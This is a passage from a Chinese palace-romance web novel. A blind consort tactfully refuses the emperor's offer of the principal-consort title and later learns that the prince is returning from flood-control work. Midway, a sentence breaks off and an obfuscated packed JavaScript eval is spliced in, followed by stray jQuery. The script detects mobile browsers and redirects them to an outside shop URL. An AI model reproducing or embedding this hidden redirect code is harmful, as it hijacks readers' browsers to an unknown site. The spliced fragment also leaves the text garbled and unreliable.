陈内侍忙要上前搀扶,云见月却已在椅子边下跪,垂首恭谨道:“父皇厚爱,妾不胜欢喜,但妾身嫁入皇家已近两年,既未规劝二殿下收心性,勤政务,亦不比太子妃,为皇家诞育后嗣,遂不敢忝居正位,还望父皇收回成命。”
暮山紫的衣裙轻软铺开来,裙尾几朵银线疏绣的茉莉花也委地,浅淡微茫,没了生气。
“朕……”皇上避开视线,亦是少见的有口难言。
在后妃及陈内侍一干人面前,他不必多说,只给一个眼神,就够她们思量几日的了。
在云海面前,他可以全无顾忌,直叙胸臆。
而在这样一个柔婉谦逊又盲了眼睛的儿媳面前,他一样也做不到。
给眼神让她去猜?她看不到。
说的太直,又怕她受不住。
难道要一个帝王,对着自己的儿媳说,“朕知道你委屈,但你还可以再受些委屈,萧家想要塞人进宫,朕打算扔到你的重华宫去,让这个祸害跟长安去斗去闹。自然,朕也会给你些补偿,让你为正,萧泽兰一个国公之女、钦封的郡主为侧,你该满意了吧?”
这话,实难出口。
“长安离京快一年了,你一人在宫里无人照拂,只怕哪日你老爹问起来,要怪朕苛待了他的女儿。”想了许久,皇上换了套说辞,“朕就想着,下人总是不能合心合意的替你着想,长安身边只你一个,他又不在宫中,不若朕钦派一人去贴身照顾你,又能替你料理内宫琐事……”
皇上的声音时高时低,伴着断断续续的心虚躲闪,以至云见月听不清楚。故而,本能的往前探了身子,偏过脸去,尝试将耳朵凑近一些。
这一应动作,连陈内侍也惊着了,只以为治了这么些日子,也该见好,不想竟这般严重。
皇上也随之敛唇。
见殿内没了声音,云见月试探着开口,“父皇,妾身在听,父皇还在吗?”说完,又扭过脸来,在前方搜寻皇上的身影,那眼神是虚是茫然,散在四处,就是不落在皇上身上。
皇上心头一颤,喉头一滚,便再说不出话来,仿若那并不聚焦的目光,能穿过龙袍直抵心处,致他内心的算计和亏欠无处遁形。
“朕……还在。”声音有些发哽。
云见月微微一笑,跪直了身子,郑重叩首。
皇上面色微滞。
陈内侍也瞧见圣上脸色,忙不迭上前搀扶。
“父皇。”云见月却已经直起身子,远远望着上首的龙椅。
“父皇体恤,妾身感激不尽。只是此番中毒致盲,连御医尚不能断痊愈之期,如今目不能视,形同废人,恐殿下归来,见此残躯,心生不喜。焉敢以如此之身妄居正位?遂妾身恳请父皇,为殿下另择一位品貌双全的世家女为正妃,妾甘居侧位,尽心侍奉殿下与正妃,绝不敢有半分怨怼。妾身所言,皆出肺腑,万望父皇成全。”
话音落,殿内陷入一阵异样的静。
皇上木讷地坐回龙椅,目光落下来,那张脸依旧温婉恭顺,既无怨怼,也瞧不出半分算计。不过是一番赤子之心,在替皇家,替祝长安,替那个还不存在的“正妃”着想。
可他听来,却觉自己已被架在烈火之上烘烤。
今早萧家人走后,皇上在顾政殿里凝思半日,茶饭不食,想到的两全其美的法子:云见月晋位正妃,萧泽兰为侧,既全了两家体面,又能暗里敲打萧家一番。
可这女子颤巍巍跪地,句句提醒,“妾目不能视”,“妾中毒致盲”。
谁人不知,她目不能视,是为救太子妃;她中毒致盲,是因皇后下毒;说来说去,都是皇家欠她的。
可若这时候,重华宫正经的主人不在,只这么个目不能视的侧妃苦苦支撑,就这么将人塞进去,那才是真不要皇家体面了。
陈内侍到底跟随圣驾多年,只往上首瞟了一眼,便弯身去搀还跪着的云见月。
“侧妃,您身子不好,快起来吧,跪久了皇上心疼!”声音高,语速却极缓。
皇上收起渐渐虚空的视线,也收拢思绪,清了清嗓子,才道:“快起来吧。朕早就答应过你爹,这正妃之位早晚是你的,何惧旁人抢了去?至于长安,他回来若敢嫌你,朕第一个不饶!”
“去吧。”皇上像是习惯性地拿起茶盏,抿了一口,温温的,语气也温温的,“回去好好养着,好好地等长安回来。”
又对陈内侍道:“嘱咐抬轿辇的奴婢小心些,别走得太急,让身边伺候的也都机灵些,万事别等着主子叫。”
云见月一手攥着陈内侍的手腕,一手撑着椅子,慢腾腾起身,又是再三谢过父皇关心,才扭身摸索着出了大殿。
陈内侍的声音渐渐远了。“侧妃您瞧,皇上可一直惦记着您呐!便是四公主,皇上也少有这么上心的时候……”
皇上听来却未展颜,只是将整个身子倾力靠在椅背上,脑袋仰上去,缓缓发胀的眼球。
重华宫,躺椅还安安静静坐于廊下,秋风过堂,吹得它吱呀两声。
云见月未进屋,照旧在藤椅上坐了下来。
清影嘴上虽劝着,“外头冷,要不要去里头躺着?”也还是叫人去取了厚实些的丝衾来,披在她身上。
“侧妃,此番,确定皇上不会将那万人嫌的郡主塞到咱们重华宫来了?”如今日子祥和,清影又没了顾及。
云见月拧眉似嗔,“越发不当心了,这话也是能浑说的?”可面上,倒有几分从容。
清影觉得,她身上有几分祝长安的影子了。
云见月又道:“至少,现在是不会了。等到殿下回京,不知是何年月的事了……”
清影瞥了瞥日光暖着的那张清透柔和的脸颊,忽笑出声来,“到那时,郡主怕是都成老姑娘了!”
笑声渐息,重华宫陷入极致的静。
已至黄昏,日头斜斜挂在西偏殿的屋脊上,耀眼却冷冷的。
院中那株黄栌经日光一照,越发红透了,风一过,残叶悠悠飘下。云见月静静坐着,看它落在石砖上,也没个声响。
她其实已经能看得到不大远的地方,或是不太小的东西了。
想起自己在顾政殿的模样,云见月窝在丝衾里偷偷扬唇,而后缩了缩脖子,安然睡去。
黄栌掉光了叶子。
黄栌开出一树粉紫的烟雾。
盛夏又至。
捷报进宫,太子便让清影往重华宫递了消息。
遇南水渠凿通,洪水入海,天灾再不至,遇南终遇安。
只是原是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760017|206971||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
喜事,皇上却不大高兴。
夏夜晚风醉人,云见月正于廊下躺椅上打着盹,一旁侍婢轻轻摇着扇子。
“侧妃!侧妃!”清影人还未进重华宫,声音已随风而至。
云见月恍然惊醒,指尖已紧紧抓住扶手,躺椅仍轻晃着,吱呀~吱呀~
清影奔来,满头是汗,至阶下驻足,言语轻快,似报喜的鸟儿。
“侧妃!二殿下要回来了!”
一瞬,云见月手下一滑,身子失衡,往前栽去,那扶手不偏不倚磕在肚子上。
……
祝长安进宫,先往顾政殿去复命。
父子二人一年未见,生疏得只余君臣间的礼数。
即便是礼数,也未得圣上一句关怀,譬如在遇南过得怎么样?吃得好不好?
祝长安呈上来的厚厚一叠有关遇南治水事宜的奏章,就放在皇上手边。
一页未翻。
去时,祝长安声嘶力竭的控诉犹在耳畔。
比起凿渠引洪,解朝廷多年之困,他更忧心的是,做成这番功绩的儿子,会不会从此生了觊觎之念。
故而,皇上端坐龙椅,冷冷的目光审度着眼前人。
临行前的那场争执,祝长安也没忘,他记得父皇最后对他说,“你就去遇南,去治水,去做出些功绩来给朕看。”
他在回宫的这一路,想在父皇面前说,“儿臣做到了!”
但当他跪在顾政殿的地砖上时,他想起了湿漉漉滴着水珠的衣袍,想起被地缝里钻出来的寒气侵透的双膝。
就忽而,半句话也不想说了。
只是他越是冷,上首的皇帝便越觉那是恃功而骄,便连君臣的客套也不愿给,只道:“去吧。”
这日,是六月初七日,一年里最热的时候。
宫道深处,步履匆匆。
“快些!快些!”
清影搀着云见月,脚下步子倒不开,几次险些被裙角绊住,忙劝道:“小心脚下!人已然进了宫,不急在这一时。”
云见月满心焦灼,更是脚步未缓。
她或许该在重华宫等着的,那才是她惯常的性子使然。
但她有时,会羡慕祝长安的畅意,与他相处久了,没来由地想学一学他。
今日,她身着藕荷色软绸抹胸襦裙,外罩晴山蓝的大袖纱衣,罗纱清透如烟,腰间缀着一副白玉禁步,主璜镂作双鲤,是极好的意头。
再是发髻。温婉的流苏髻,斜插一支玉燕簪衔珠垂穗,银丝米珠流苏在疾行碎步间,摇曳生姿。
她牢牢记得祝长安的喜好,亦不忘再三叮嘱着:“我说的话,你记下了没?不许在殿下面前乱嚼舌根。”
清影嘟了嘴,“那要是殿下自个儿看出来呢?”
“不会,如今我也好了大半,能识人辨物,只是模糊些,你多提醒就是。我待会垂着眼,他看不真切的。”
去往顾政殿,必经一段回廊,蜿蜒曲折,更有廊柱层层掩映,遮断视线。
午后暑气最盛,日光从竹叶的缝隙间漏下来,碎了一地,也碎在云见月的衣裙上。
她忽而脚步一停。
廊道尽头有个人影转了出来,她看不清,可她就那么呆呆立在原地,半分动弹不得。